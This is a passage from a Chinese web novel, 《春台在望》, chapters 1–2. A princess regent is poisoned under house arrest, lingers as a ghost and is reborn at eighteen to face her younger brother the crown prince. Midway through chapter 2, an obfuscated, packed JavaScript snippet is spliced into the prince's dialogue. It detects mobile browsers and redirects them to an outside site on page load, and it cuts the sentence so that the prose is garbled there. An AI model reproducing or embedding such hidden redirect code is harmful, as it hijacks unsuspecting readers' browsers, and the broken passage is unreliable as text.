《春台在望》 1. 第 1 章 平昭六年岁末,京城下了一场大雪。 九重宫阙在雪夜中显得庄严肃穆,飞檐斗拱上堆积起一层积雪,宫墙在月色的映衬下愈发显得高大威严。 宋清晏倚在窗前拨弄着手里的纸鸢,看着别苑这方狭小的天地布满平整的积雪,无人到访,了无生趣。 已经记不得这是她困在这里的第多少个日夜,这个自幼长大最为熟悉的皇城兴许要成为囚禁她一生的地方。 雪越下越密,凛冽的寒风顺着半敞的窗卷入房内,香案上烛火摇晃。她久病恹恹,看雪看得出神,不自觉咳了几声。 侍女芷兰闻声捧着个锦盒自小佛堂内出来,关好门窗后为她披上一件氅衣。 “就快要到新岁了,殿下需得保重身体。” 宋清晏拢了拢身上的氅衣,没有做声。 芷兰将锦盒放到宋清晏面前,轻声道:“奴婢这几日整理杂物,找到了很多圣上年幼时写给殿下您的信,您看看。” 锦盒内,满满当当的信件芷兰依次按照时间罗列好。 宋清晏一封一封地翻阅过去,从她年幼时第一次和父皇离京下江南,自己这个年幼的弟弟宋清昀,在母后的帮助下笨拙又稚嫩地给她写得第一封家书开始。 一直到一年前召她即刻回宫最后一封书信,这中间不过短短十二年,他们姐弟之间却隔了数不清的恩怨纠葛。 宋清晏划过信封口的指尖微微蜷缩,上百封信逐一拆开后,字迹从青涩到雄浑有力,她似是透过单薄的纸张窥见宋清昀端坐在书案前,一笔一画地写下,“问阿姐安”。 这些积年累月里她不曾重视的书信,今时今日整整齐齐地摆在她面前,一时间心里五味杂陈。 似是察觉她面色不佳,芷兰宽慰道:“您同圣上一母同胞是血肉至亲,奴婢觉得,圣上心里还是挂念着殿下您的,如今不过是碍于朝堂之事罢了。说不定待到新年家宴,圣上就会寻机会将殿下您接出来......” 宋清晏苦笑了下,如今朝中局势胶着,若是能让她这位长公主殿下自己认罪死了便是皆大欢喜,若是不死注定成为横在旧臣乃至皇权之间的一根刺。 将她困于别苑已经是最大的让步,又怎么放她轻易出来呢? 芷兰顿了顿又道:“当初那些个旧臣弹劾殿下不过是为了满足一己私立,殿下您一心为了社稷家国,罪在当下,功在千秋,日子久了总会明白殿下良苦用心的。” 芷兰似是突然想到了什么,抬眼略带欣喜地看向宋清晏道:“奴婢听闻,锦衣卫的那位严指挥使前几日上书请旨将事关您的旧案重审,想是镇抚司那边有了新的证据。” 闻言,宋清晏拧眉,她的案子一直未有定论,难不成有人等不及了,设计让严霄整理证据好取她性命。 “这半年来朝廷一直在追查司礼监,这群人来往内廷消息最是灵通,严大人还说了最迟到来年春三月他便会......” 别苑外年久老旧木门吱呀一声,芷兰敏锐地收了声。 先皇去世前特许长公主殿下主理朝政,自殿下掌权以来,推行改革清理世家顽疾,早就惹得朝中旧臣不快。 圣上亲政后,朝中弹劾长公主殿下的奏折依旧数不胜数。 年初长公主殿下动用私刑处死了昌毅伯家中独子,自此同圣上大吵一架。圣上一怒之下将长公主殿下禁足别苑,不许任何人探望。 芷兰死里逃生,如今殿下身边只有她一个贴身侍女,更是谨小慎微仔细提防着。 有人提灯沿着长廊走来,芷兰认出是圣上身边的女使,拎着食盒前来叩门。 女使朝宋清晏行了一礼,随即道:“长公主殿下,今日是冬至,圣上命奴婢送些吃食给您。” 食盒的盖子掀开,一盘冒着热气的长寿菜扁食端到宋清晏面前。 见此情景,芷兰眼中闪过一丝欣喜。 从前先皇后在世时,常常亲自下厨包殿下和圣上姐弟最爱的长寿菜扁食,今日冬至圣上派人送这样一份吃食来,必然是念了旧情。 圣上派来的女使还站在这儿,芷兰不好当着她的面验毒,只背过身去装作收拾碗筷的模样悄悄拿银针排查。 这女使是先皇后当初亲自挑选的,一向信得过,见银针颜色毫无变化,芷兰盛了一个送至长公主殿下面前。 圣上尚在东宫之时,整日过得谨小慎微战战兢兢,先皇后与先皇的接连去世,这世间只剩长公主殿下这一个血肉至亲。 待风波过了,圣上必然会接长公主殿下出别苑,亲姐弟之间哪里有过不去的坎儿呢。 芷兰正幻想着,只听见身侧突然“咣当”一声。 盛着扁食的碗从长公主手中滑落,碎瓷四散。 霎时,宋清晏面白如纸,一手死死捂住腹部,一手指向前方。 顺着视线看过去芷兰大惊失色,只见那前来送食盒的女使倒地大口大口吐着黑红的血水,不多时便四肢僵硬,已然是服毒自尽。 “殿下……这里有毒?!” 宋清晏颓然地倒了下去,视线渐渐模糊不清,最后失焦在那碎落一地的瓷片上。 恍惚之间,脑海中浮现出少时时承欢于母后膝下的情景,母后一手摸着她的头,一手揽着年幼的弟弟。 殿内站着一排女使,母后送给她的女使名字中分别带着“梅,兰、竹、菊。” 送到弟弟身边的则是“康,衢、烟、月。” 母后对自己一双儿女寄予厚望,希望女儿能有君子般的品质,儿子能成为有利于社稷江山的贤能储君。母后一生所盼,皆是家人安定和睦,他们姐弟能相互扶持,平日里时常教导她照顾好弟弟。 年幼的宋清昀也曾说过,有她这样的长姐是他之幸。 她从不怀疑弟弟说那话时的真心,只是后来,倚梅为她挡刀而死、折竹替她承担了昌毅伯的声讨,被凌迟处死、观菊和一众晏安宫亲信被宋清昀下令全部斩杀。 真心也会瞬息万变,宋清晏苦笑,喉头涌上的鲜血顺着嘴角蜿蜒而下。 如今,她这个亲弟弟竟是连她也容不下了。 窗外风雪声阵阵,一阵钻心的痛楚袭来,她疼得汗湿鬓发,十指紧紧揪着胸口处的衣物,指甲刺穿皮肤留下一道道血痕。 恍惚间记得也是这样一个风雪天,她冒雪赶回皇城,等到的却是母后薨逝的消息。 宫中的人都说,皇后娘娘是旧疾复发,不治身亡。 可宋清晏心里清楚,母后一向身体康健,何来旧疾? 望着一夜白头的父皇,宋清晏识趣地没有过多追问,她知道这失去至亲至爱父皇心中的苦楚比她更甚。 他是丈夫,是父亲、更是君王,身上挑着宋氏江山社稷,孤身一人抵抗着世家旧臣的禁锢。 九五之尊,不该是个多情的种。 那段时间里,宋清晏整夜整夜的睡不着。 她心里清楚,自父皇登基以来,身边群狼环伺。太后屡屡插手朝政,京城世家旧臣步步紧逼,对中宫之位更是虎视眈眈。 可即便她自出生起便身份尊贵,备受宠爱,又因一目重瞳被奉为朝廷祥瑞,她也不过是个年岁小的公主。 没有证据,更没有实权同世家旧臣抗衡。 母后薨逝,父皇缠绵病榻,外祖父家中日渐凋敝,弟弟年幼体弱。 她恨透了这群朝中蛀虫,于是她隐藏身份东奔西跑,费尽心机收集证据,逐步打破旧臣束缚。她收拾了西北贪官污吏,深得民心的同时借西北军之力摧毁了裕王叔谋反的计划。 更是在父皇病重后,被封为护国公主,辅佐幼弟代为执掌朝政。 自她掌权以来,内惩宦官干政,外同太后等一众世家旧臣斗得腥风血雨。几年下来,京中当年树大根深的家族也开始逐渐凋零。 认罪伏法的,失权流放的,可她百般设防千算万算,却唯独漏了一人。 她一母同胞的亲弟弟,宋清昀,小字承钧。 她承袭父皇遗愿,清扫世家整治朝中贪官污吏,辅佐幼弟周全。 即便这几年来朝野上下对她这位长公主争议颇多,但宋清晏从不曾有过忧心或是顾忌,她总想着她们是一家人,是手足至亲,弟弟承钧会和父皇母后一样理解她的苦心。 但事与愿违,多年来所做的一切看在一些人眼里成了把持朝政不放,争权夺利的别有用心。 甚至到最后,她的亲弟弟竟也容不下她。 宋清晏疼得厉害,意识逐渐混沌,失焦的瞳孔逐渐扩散出重瞳模样。 恍惚间,她似乎回到了年幼时母后宫中的小院。 父皇握着她的手,一笔一画地教她习一首太祖皇帝的诗,宋清晏满意地欣赏了一遍又一遍,信誓旦旦道,“爹爹,鸢鸢将来要成为和太祖皇帝一样厉害的人!” 在一边研墨的郑皇后闻言笑而不语,皇帝目光柔和,笑着抚摸着她的头。 “太祖皇帝一生戎马,江河大地锦绣山川尽在他脚下,可他心中遗憾亦是良多。鸢鸢,总有一天你会明白,千秋霸业功名利禄不过浮华云烟,芸芸众生才人生是最后的归宿。” 年幼的宋清晏歪头思索了一会儿,又问道:“爹爹,那你最大的心愿是什么?” 父皇将她抱在身上,另一只手隔着衣袖悄悄地牵住一旁的母后。 “爹爹的心愿啊,就是希望能守护好我们这个小家。等爹爹和你阿娘年岁大了,也出去见识见识外面的山河广阔,人间烟火。” 宋清晏闻言眉眼弯弯道:“好啊!到时候鸢鸢牵着缰绳,爹爹和阿娘想去哪儿,鸢鸢就带着你们去哪!” 可一眨眼,她身处冰天雪地之中,周围尽是白茫茫的一片。 她从马背上摔下来,顾不得疼痛,深一脚浅一脚地在雪地中艰难前行。 临近了,她看见母后的棺椁正安置在院子正中,再回首,爹爹也都消失不见了。 她拼命地寻找着,呼喊着,身后一阵脚步声传来。 宋清晏回头,对上一张同自己有八分相似的脸。 那人望着跌坐在雪地里,狼狈不堪的她,一字一句道:“阿姐是不是觉得,朝中没了谁都可以,没了你靖和长公主,就是不行?” 外头的飘雪越来越大,过耳都是呼啸的风声,宋清晏忽然觉得自己的人生也如同这风雪,昨日种种已然匆匆流逝。 她谋划着别人,别人也同样谋划着她。 半生黄粱梦,皆为他人戏,终是一场空。 窗外房檐上的积雪坠落,咚的一声,摔在地上四散开来。 那双执拗的手,终究还是脱力的坠了下去,没了生息。 ...... 守夜的太监小全子倚着栏杆昏昏欲睡,一阵寒风自宫殿拐角处吹过,小全子不由得打了个寒颤,紧了紧身上的棉衣。 他朝四周看了看,同往常一样氤氲的月色笼罩着整个皇城,深沉而又寂静。 此处偏僻,白日里便鲜少有人经过,到了夜里便显得愈发阴森。 他记得他被司礼监安排到这儿时还是立秋,掌事的同他讲,圣上同长公主僵持许久,圣上深知长公主性子烈不肯低头,担心她的安危,特命人今后夜里守在这条宫道上,若有风吹草动第一时间禀报给圣上。 能进出天子寝殿,直面天子,当时的他天真的以为自己得到了重用,脑子一热倒是没想太多。

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...... “听说了吗,长公主死了!” 皇城中丧礼尚未来得及准备,次日一早长公主薨逝的消息便传遍了京城整个大街小巷。 一时之间,无论是世家朝臣,还是百姓商户纷纷议论起来。 闹市一角的茶楼更是热闹非凡,人人纷纷捧着温热的茶盏津津有味地评论起这位曾在京城名声大噪的护国长公主,当今圣上一母同胞的亲姐姐的生平。 “要我说啊!死得好!” “自打先皇崩逝,册立这宋清晏为护国长公主辅政,她做了多少荒唐事!推行什么乱七八糟的改革搅的百姓食不果腹,百万漕工流离失所。身为一国公主不造福百姓却祸乱朝政,张扬跋扈,随意仗杀朝廷命官之子。也就是当今圣上仁慈,顾念着手足情谊,要不然早就该清理门户,将这长公主凌迟处死以正朝纲!” “就是,听闻当年中宫产下的公主眼中时而出现重瞳,非说是什么帝王之相,如今看来分明是祸国殃民的妖孽之相!” 话音刚落,一位商户眉头紧锁道:“话说,这长公主自幼习武身体康健,且她年纪轻轻,究竟是得了什么病以至于这么快就去了?” “嗐!举头三尺有青天,这都是她作恶多端的报应!” 窗边角落里,一位书生打扮的青年似有不解,缓缓道, “我表亲在朝廷做官,我曾听他讲当年亲王谋逆,是长公主从千里之位调兵不眠不休奋战两日方才守住皇城。且她辅政期间广开言路,大兴科举,也曾有不少佳绩,究竟是如何落得如今的境地......” 老商户端起过来人的姿态,拍了拍面前年轻人的肩膀语重心长道:“富贵迷人眼,权力惑人心!这人要是尝到了权力的滋味难免会迷失了自己,忘了自己的身份。” “即便是辅政公主又怎样,说到底不过是个姑娘家,姑娘家就当在闺阁里等着日后嫁人,怎可随意抛头露面,还插手朝政搅弄风云!” “就是就是!你啊就是读书读多了把脑子读迂腐住了,竟还替她感到惋惜。偌大的京城有头有脸的门户,无一不是将家中女儿悉心教导,盼着日后寻一门好姻亲。这长公主生得花容月貌,可这么多年了哪家儿郎敢向她提亲,谁敢娶此等灾星进门!” 话音刚落周围响起一阵哄笑声,年轻的书生想起自己母亲每日对家中妹妹的严苛教导,似是被说服,没有再说话。 周围偶有微弱的质疑声,也在这阵阵笑声中起不了任何波澜。 世事难料,命运无常。 至此,曾在在风云变幻的朝堂之上,以女子之身掌控着朝局风向;在权谋的舞台上翻云覆雨,操控无数人命运的护国长公主宋清晏,也不过成了茶余饭后的谈资而已。 曾经的权势,荣耀,如同泡影般破碎,化作一片虚无。 街头巷尾,人们在闲暇之际偶尔提起她的名字,言语中也多是猎奇与消遣。 没有人在意一个死人的生平,没有人愿意花时间去回忆她曾经的辉煌与功绩,也没有人愿意去探究她走向末路的真正原因。 护国长公主宋清晏的一生,就这样在人们的闲言碎语中渐渐模糊,成为一段被随意解读的过往,徒留一生叹息。 人声嘈杂中,一位身着浆洗的发白藏青长袍的老者饮尽了碗中的酒水,将铜钱压在碗下,晃晃悠悠地走向长街。 他手中拿着细长的竹竿,色泽暗沉,一端绑着褪色的布条,行走时在地面轻点。 他似是喝醉了酒,身形摇晃,口中念念有词, “重眸诞世恩荣厚,慧质蒙教志欲酬。 萱萎仇萦权作刃,名污亲远谤成囚。 才高未得馨名久,智睿终为怨业休。 可怜一世芳华尽,是非纷扰付东流......” 行至城门处时,马蹄踏地的雷鸣声由远及近,老者脚下步子一顿。 官道的那头,十几乘快骑朝着宫门疾驰而来,一行人锦衣轻裘,为首的那人身形高大挺拔,神色苍白肃杀。 马蹄飒踏扬起漫天雪花,来往行人纷纷让路而行。 老者抬起头,帽檐下几缕灰发散落,擦肩而过的瞬间他幽深的双眼似乎藏匿另一个乾坤。 目光越过层层宫阙,随即笑着捋了捋胡须转身离去。 “人间尚有一段情缘羁绊,有趣啊有趣......” 2. 第 2 章 许是当初一语成谶,这皇城竟真成为囚禁宋清晏一生的地方,死后的她残留了一缕魂附在纸鸢之上,困于别苑小佛堂。 像是做了一场很长的梦,她在这四方天地中见到最多的人便是她弟弟宋清昀。 在她去后,他时常过来对着她的牌位自言自语,蜷缩在香案下将自己关在房内一整夜。 午夜梦回时她时常听见宋清昀梦中呓语,他颤抖着,口中不停地念叨着, “对不起”, “阿姐,不是我......” 当初沉稳的少年帝王眼下的乌青一日重过一日,她看着他逐渐疲倦,病弱,直至垂垂老矣。 几十载光阴匆匆逝去,她在宋清昀一次次到访的只言片语中得知了她去世的真相。 当初她因动用私刑处置昌毅伯独子,而被囚禁于别苑的背后,是宋清昀本想用这种办法保住她这个声名狼藉的姐姐。 他本想着待风波过去后另做打算,只是可惜,宋清晏执政地这些年得结下的仇家无数,即便别苑周围他秘密派人严防死守,还是有人借此机会下毒害她。 后来,宋清昀来往别苑的次数愈发少了,宋清晏隐隐有所预感。 直到一日夜里,皇城中响起了悠远的钟声,彼时别苑内的纸鸢绳线松动,随风飞向皇城上空,宋清晏发觉自己附在纸鸢上的一缕魂,同这钟声一起逐渐消散开来。 百年光阴如梦蝶,今日春来,明朝花谢。 浑浑噩噩这几十年,是非恩怨早已随着时间消磨的麻木,淡却。 她于半空中再次回首看向挂满白幡皇帝寝宫,叹息一声,一辈子活在刀锋之上殚精竭虑,再也不要这么累了...... 若有来世,只做富贵檐下燕,不搅朝堂乱局弦。 * 宋清晏在阵阵梦境中逐渐有了意识,只觉得五脏六腑如同被搅在一起般生疼,且似乎一直有人翻动着她叫她不得安生。 她咬紧牙关蜷缩着不禁暗骂道,人死为大,究竟是哪个不长眼的扰她清净。 宋清晏仰面躺在地上,朦胧间却发现那里不太对,似乎听见周围有人在讲话, 她试着动了动僵硬的手正欲一探究竟,一道尖锐又熟悉的女声在耳边响起,“快来人啊!公主醒了!” 已经不知道多少年没听见过女子的声音了,宋清晏脑子里嗡嗡作响,何况还是这般中气十足。她费力地想睁开眼,视线中却依旧是模糊昏暗。 周围响起一阵嘈杂的脚步声,随即手腕被人拉起,似是有人正在试探她的脉搏。 方才那尖锐的女声变得分外焦急,正在身侧滔滔不绝道,“公主从马背上摔下来已经昏迷了三日了,期间太子殿下多次过来探望,先前的吴太医来过也是说并无大碍,可不知怎么就是不醒......” 宋清晏越听越是头晕,宋清昀尚未有子嗣,哪里来的太子殿下? 况且她分明是被人下毒,并不曾从马背上摔下来... 不对! 她的确是有此经历! 在她十八岁的那一年,裕王叔起兵谋反,她从千里之外调兵前来增援这才使京城危机得以解除。 在那场混乱的战事中,她身下的马因中箭而发狂,将她甩下城楼跌落在粮草车上。 虽捡回了半条命,却也卧床足足休养半月方才能正常行走。 不过那都已经是许多年前的事了! 宋清晏听着周围人的交谈声,双眼逐渐清明起来,视线中浮现出的并非是别苑佛堂昏暗的屋顶,而是自她年幼时便一直宿的晏安宫。 她看向周遭,心中愈发震惊,帷幔外那几个身影模糊又熟悉。方才那尖锐的女声,像是从前一直侍奉在她身边的折竹。 可是折竹,早就已经去了啊...... 望着眼前熟悉的场景,活生生的故人,宋清晏不由得产生了一个荒唐的想法, 她似乎是没死成,而且回到了过去她十八岁的那一年。 在她父皇健在的这一年, 在平乱有功被封为护国公主的这一年, 在还没有成为摄政长公主,和一母同胞的弟弟宋清昀走向决裂的这一年。 见她睁开眼却安静地躺在那儿不言不语,折竹焦急地凑上前询问道:“公主,你可有哪里不舒服,奴婢已经派人通传给太子殿下,殿下当下兴许正在回来的路上......” 前尘往事如同潮水般涌入,宋清晏显得有些失神,木讷地开口问道:“我父皇呢?” 折竹微微一怔,心里泛起一阵疼惜。 她也是从小看着公主殿下长大的,一个女儿家千里迢迢去调兵,不眠不休混战两日受伤昏迷后,醒来想得第一件事便是过问圣上的安危,公主当真是至孝至纯和圣上感情深厚。 “圣上无碍,这几日想是劳心费神,精神头较往常差了些。太医院开了安神的药现下正在昏睡休息,奴婢没去打扰。” “前两日圣上也时常过问公主情况,想来待得知殿下您无碍,必然十分欣喜。” 宋清晏听着折竹的话,没有做声。 两世记忆如潮水般在脑海中涌过,她不得不在短时间内考虑清楚当下的处境。 彼时正是她父皇登基的第十八年,她父皇宋澜为先帝的第四子,不是中宫嫡出,也并非宠妃之子,不过是一位同先帝有着露水情缘的医女所生。 又因着性格淡薄,身后没有有力的世家支撑,在先皇的子嗣中一直处于较为尴尬的位置,从未受到重视。 弘正三十一年,太子因以权谋私被废,自此余下的几位皇子纷纷展开了储位之争,未曾想竟斗得两败俱伤,下场惨淡。 弘正三十四年,先皇崩逝,皇位落到了余下的唯一一位适龄皇子宋澜头上,她的父亲就这样被朝臣推动着走上九五之尊的位置。 听太傅说起,她父皇初登基时,朝中质疑之声不断,民间更是有人谱写诗歌暗讽他资质平庸,不配为君。 转机的到来在永嘉元年秋,她的降生。 中宫诞下一位嫡公主,内廷处于一片欣喜正着手准备庆祝时,襁褓中的小公主睡醒后突然啼哭不止,乳母抱起哄了许久后,惊讶地发觉小公主右眼竟出现重瞳。 一目重瞳,乃是帝王之相。 宋澜看着女儿端详许久,在朝中德高望重的老臣,乃至钦天监的见证下,他抱着公主立于高台之上,于一众道贺声中,当场赐公主封号为靖和。 于宋澜而言,宋清晏的降生不仅仅是多了嫡公主这般简单,更是他稳坐皇位有力的舆论加持。 不过一日,公主天生一目重眸,有帝王之相的消息传遍了京城的大街小巷,自那以后朝野朝外逐渐无人再议皇位是非。 而她也因此自幼备受宋澜喜爱与重视,他亲自为她取名清晏,有家国两安海晏河清之意。 年少时的宋清晏顽劣,宋澜便亲自教导她习字,挑选朝中最好的大学士教习功课。 他对她寄予厚望,也时常感慨若是她不是女儿身必然当得起储君之位。 那时的宋清晏在父皇的一声声认可中迷失了自己,以至于后来父皇临终前嘱咐她照顾好弟弟,肩负起辅政之责时她毫不犹豫地答应下来。 平心而论,她这个父皇对她很好,好到远超自己的儿子们,哪怕是宋清晏一母同胞的弟弟,宋清昀。 正神游天外之时,殿外传来脚步。 折竹向外张望后欣喜道:“公主,是太子殿下来了!” 宋清晏心口一沉,这一切发生的太过突然,她尚未接受自己已经重返过去的事实,就要面对前世早已关系尴尬的亲弟弟。 忍着周身的疼痛透过帷幔抬眼看过去,视线模糊中只见房门外一双金线绣着祥云的黑色长靴逐渐靠近。 而那双靴子后两步远的位置,飘动的衣摆透着一抹红,宋清晏略吃了一惊。 能着如此服饰且在宫中出入的,唯有太祖当年亲设的锦衣卫。 先帝晚年时因国库空虚,下令内廷开源节流,自那以后非正六品百户以上不得着飞鱼服。 这人不仅身穿飞鱼服,腰间似乎挂着一把佩刀,最起码是四品官职。 宋清晏一看这身打扮就头疼,正欲看清来人面目时,那人却在房门外止步背过身停了下来。 她微微皱眉,却见为首之人迈入房内询问身边人。 “阿姐可有好些了?” 她回过神,见模样比记忆中稚嫩许多的宋清昀立于她面前。 太医朝他行了礼,将诊脉情况逐一报给太子后,便同折竹一起带着宫人回避了。 宋清晏打量起面前这个只同自己相差四岁的弟弟来,他们是一母同胞的亲姐弟,但除了模样相似外,脾气秉性截然不同。 许是因为宋清昀年幼时体弱多病,被母亲仔细照看不可随意外出的缘故,年纪轻轻逐渐养成了冷静自持的模样。 而她跳脱顽劣,小时候常常换上男装扮成弟弟的模样四处招灾惹祸。 随着年纪见长,她们这对姐弟无论是气质还是模样愈发不同。 她从从未像现在这般仔细打量过宋清昀,十四五岁的他正介于少年和成年人的蜕变之间。他随了父皇,身长八尺,龙眉凤目,贵气天成。 经年累月的调养与磨砺,逐渐脱离了少时病恹瘦弱的模样,蜕变成喜怒不形于色的大人。 或许,不论前世还是今生,他早就成长成了能独当一面的储君,只不过是当时的她与父皇从不曾真正去了解他罢了。 宋清昀微微蹙眉。 隔着帷幔他看不清宋清晏的神色,见她半晌不作声便开口道,“阿姐?” 宋清晏收回视线,随口道:“你怎么过来了,反臣之事都处理妥当了?” “父皇这几日操心劳神,病愈发重了。前去彻查的锦衣卫正过来向我禀报细则,听闻阿姐醒了我便先行来见阿姐。” “父皇今年身体一直未康健,经此一事劳心费神,需得好生休养上一段时间。” 宋清晏活动了下僵硬的腿,思索着又问道,“裕王叔和太后娘娘如何了?” 宋清昀神色淡然道:“听宫人讲,得知阿姐带着兵马前来支援的消息后,太后似乎预料到了结局,一直在自己寝宫里疯魔了般笑着不停。” 宋清晏有些唏嘘, 造化弄人如今再看,她这位皇祖母为了权利苦心经营一生,最终落得个竹篮打水一场空。 弘正年间,众皇子因夺嫡之争逐渐凋零,除了一向不受重视的她父皇宋澜以外,就还只剩个尚在襁褓的孩童宋濯,在这场争斗太后失去了她仅有的两个儿子。 也许太后她老人家也万万没想到,皇位几经争夺最后竟落了个无人能担此任的局面。若非宫人提醒,她根本不记得先帝还有一个不起眼的儿子宋澜。 她老人家兴许也不曾想到,这个看着文弱一副书生气的皇子,内里却生了一把折不弯的潇潇君子骨。 那些年,前朝后宫太后没少生事离间她父皇君臣乃至夫妻之间的关系。 宋清晏曾听身边人说起,太后在她父皇初登基的几年几番设计将自己娘家适龄女子送入宫,逐一被父皇寻借口挡了回去。 年幼之时,她也曾亲眼目睹太后于宫宴之上当众撮合世家女子入宫为妃,逼着她母后点头。 在当朝皇帝身上难以寻得突破口后,当年襁褓中的孩童早已被封为裕亲王,随着他年岁渐长,太后将主意打到他身上。 此番看似是裕王叔起兵谋逆,实则背后主谋是谁早已经不言而喻。 只是不管真相如何,何太后毕竟是当朝太后,先帝正妻,她父皇名义上的嫡母。无论如何都不能叫她背上谋反的罪名,否则不仅是皇室的耻辱,更是没办法向先帝向列祖列宗交代。 “事关皇家颜面,皇祖母之事还需得等父皇醒来亲自定夺。” 宋清昀颔首,沉默片刻道,“我去牢狱里见过裕王叔,他比我想象中的平静,大局已定成王败寇他或许是无话可说。” “只是......” 宋清晏道:“只是什么?” 宋清昀顿了顿,道:“他同我说,他并非没有夺取皇位的能力,此番落败不过是因为他没有一个如阿姐你这般的手足至亲。” 宋清晏一怔,论辈分虽然她要叫一声皇叔,但他们其实年纪相仿,裕亲王宋濯不过虚长她两岁。 年少时也曾同在一处读书,听先生讲学,切磋武艺。 后来他同太后走得愈发近,而她因着母后去世一事对太后心怀怨恨,逐渐和宋濯也没了交集。 寝殿内陷入一阵尴尬地死寂, 若是从前的宋清晏听见这话兴许还会沾沾自喜,揽过弟弟的肩大言不惭地道,“像你阿姐这般足智多谋,能文能武的人世间少有!” 可眼下,她听着这话一时之间却不知该作何回应。 宋清昀走上前两步,目光望向她:“阿姐见我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921206|160353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,是不开心吗?” 宋清晏没想到他这样问,随即笑道:“怎会。” “从我进来到现在,阿姐没过问一句同我有关的话。” 这话寻常人听起来多半觉得这是自己弟弟别扭的撒娇,在向她表达被忽视的不满,甚至言语间还要打趣他几句以此来取乐。 现如今两辈子是非恩怨纠葛横在她们这对姐弟之间,对上宋清昀那双审视的眼,她却怎么都说不出消遣的话来了。 从前她以为宋清昀是登基后朝臣世家打压牵制,边境敌国欺他年幼步步相逼,性子才变得敏感多疑,阴晴不定。 如今再看,似是早有预兆。 宋清晏抬手指了指房外,“我只是觉得你带来的人有几分熟悉,好奇是不是同他相识。” 宋承钧垂下眼帘,对她给出的答复并不相信。 “他叫霍凌,锦衣卫新上任的镇抚使。先前一直在登州查案刚奉命回京不久,原本同我在文华殿议事,听闻阿姐醒了我顾不得其他便带着他一同过来。” 他顿了顿,抬眸凝视着宋清晏:“阿姐同他,应并不相识。” 上辈子,兴许这会儿宋清晏确实还尚不识得霍凌。 依稀记得这人是宋清昀登基后的第二年方才调任回京,怎么这一世反倒提前了? 余光察觉到宋清昀审视的目光,宋清晏撩起眼皮,同他对视。 “那或许是我认错了。” 她僵硬地笑了笑,停顿片刻道:“这段时日,多亏了你在宫里费心谋划,才一举围控裕王叔,阿姐也能得以顺利归家。” 闻言,宋清昀抬眸,眼中诧异一闪而过,不过片刻便恢复如常。 “阿姐说笑了,同阿姐相比我做的这些不过是萤火之光。” “若非是阿姐将生死置之度外,奔赴千里之外调兵前来救驾,此次皇城危机万不能这般容易的解除。待父皇清算完裕皇叔谋逆的一应细则,定会嘉奖于阿姐。” 前世,就是在她受伤卧床三日后,锦衣卫奉皇命抄家,与谋逆案相关联的一众官员家中男丁流放,女眷没入教坊司。 并在这之后做了改变她人生走向的第一件事,封她为护国长公主,监国辅政。 宋清晏看着同过往相似的情景,长舒了一口气,语重心长道, “承钧,阿姐希望你能明白,你的安危在阿姐心里与父皇同等重要。阿姐可以冒这个险千里调兵,而你不能,你是储君。你在,朝野上下才能心安。” “父皇给你取表字为承钧,亦是对你寄予厚望。国之权政是为钧,四海承平亦为钧。你是太子,是朝廷指日可待的希望,万不可自轻自贱。” 宋清昀面色闪过一抹诧异,初春的曦光照在庭前,将院中柳树的娇嫩纤细的枝丫轮廓自半敞的窗映照进来。 光影晃动间,宋清昀紧绷着的眉眼逐渐舒展,在亲人面前褪去了平日里沉稳的伪装,这一刻从他身上流露出几分少年人稚气模样。 他看着宋清晏的眼神透着几分期许,试探地问出口:“阿姐真的相信我有能力胜任储君吗。” “阿姐相信你。” 宋清晏望着这个模样同自己有七八分相似的弟弟,心口泛起一阵酸涩与闷痛。 前世临终前,芷兰曾捧着满满一盒子宋清昀写给她的书信,字里行间满是对她的思念。 她被复仇蒙蔽了双眼,以至于忘记了失去至亲至爱的从来不只是她一个人,还有承钧。 她尚且能离开皇城,而承钧终日孤身一人困在这四方天地里,每日过得谨小慎微。 上辈子自己见他最后一面,便是在别苑小佛堂。 她合眸跪坐在香案前,没有回头看他,听他声音冷郁道, “昌毅伯儿媳刘氏,昨日在自己房内自尽而亡,昌毅伯受到惊吓中风卧床不起,如今满朝文武皆上书奏请朕还伯爵府一个公道。” “阿姐,我保不住你了。” 宋清晏手上的念珠漏了一颗,佛堂内陷入一阵长久的沉默,静的依稀听得见烛花爆裂的细微声响。 良久后,宋清昀背过身,幽幽开口道:“朕会告知群臣,长公主在回京路上遭奸人暗算命悬一线,留居别苑养伤静思己过,终身伴于青灯古佛。” ...... 宋清昀出了内殿,神色显得有些心不在焉。 他摊开掌心,里面赫然放着是西北军的半块兵符。 半盏茶前,他的姐姐靖和公主宋清晏将这块兵符塞进他手中。 她说,她以储君名义调西北军前来京城增援,如今尘埃落定自是应当将兵符交还给储君。 宋清昀说不出哪里不对,只是觉得宋清晏整个人同以往不太一样,记忆中的长姐一贯是行事张扬锋芒毕露,不知收敛。 此番他苦守皇城十日,布局谋划安稳民心,与守城将士们同寝同食。 到头来在这场平乱中,朝野内外称赞的只有千里调兵归来的靖和公主。 从她带着一目重瞳之相降生起,这么多年,有他这个灿若明珠的皇姐在的地方,无一例外显得他黯然失色,引不起任何人的注意。 即便他贵为储君,即便他刻苦勤勉,在他父皇心里永远比不上他皇姐分毫。 他自幼得太傅教导,谦受益,满招损,君子持身当端方内敛,不可恃才傲物。 身为太子,慎终如始,从不敢行差踏错。 而皇姐同他则是截然相反,从小到大,每每看见皇姐不受宫规束缚,不在意世俗的眼光,可以尽情枕在父皇母后身边撒娇,能张扬肆意毫不掩饰自己的光芒时,说不羡慕太过违心。 也许是他这个长姐突然行事合规矩,守章法,叫他一时有些不适应。 殿门外,锦衣卫镇抚使霍凌已等候许久。 见太子望着掌心出神,半晌没有动作,霍凌轻唤一声。 宋清昀回过神,嘱咐道:“父皇这两年身体不好,缠绵病榻时便容易念旧,记挂当年的手足情谊。裕王府抄家一事一定要尽快了结,参与谋反的世家官员即刻关押,依法处置。” 霍凌跟在他身后半步道:“裕王府一应事宜皆是由严指挥使亲自督办,殿下放心。” 宋清昀点点头,“如此甚好。” “太子殿下...”霍凌垂眸,面色多有犹豫。 “臣先前所请......” 宋清昀没有回头,握着手中的兵符朝御书房方向走去。 “随你。” 3. 第 3 章 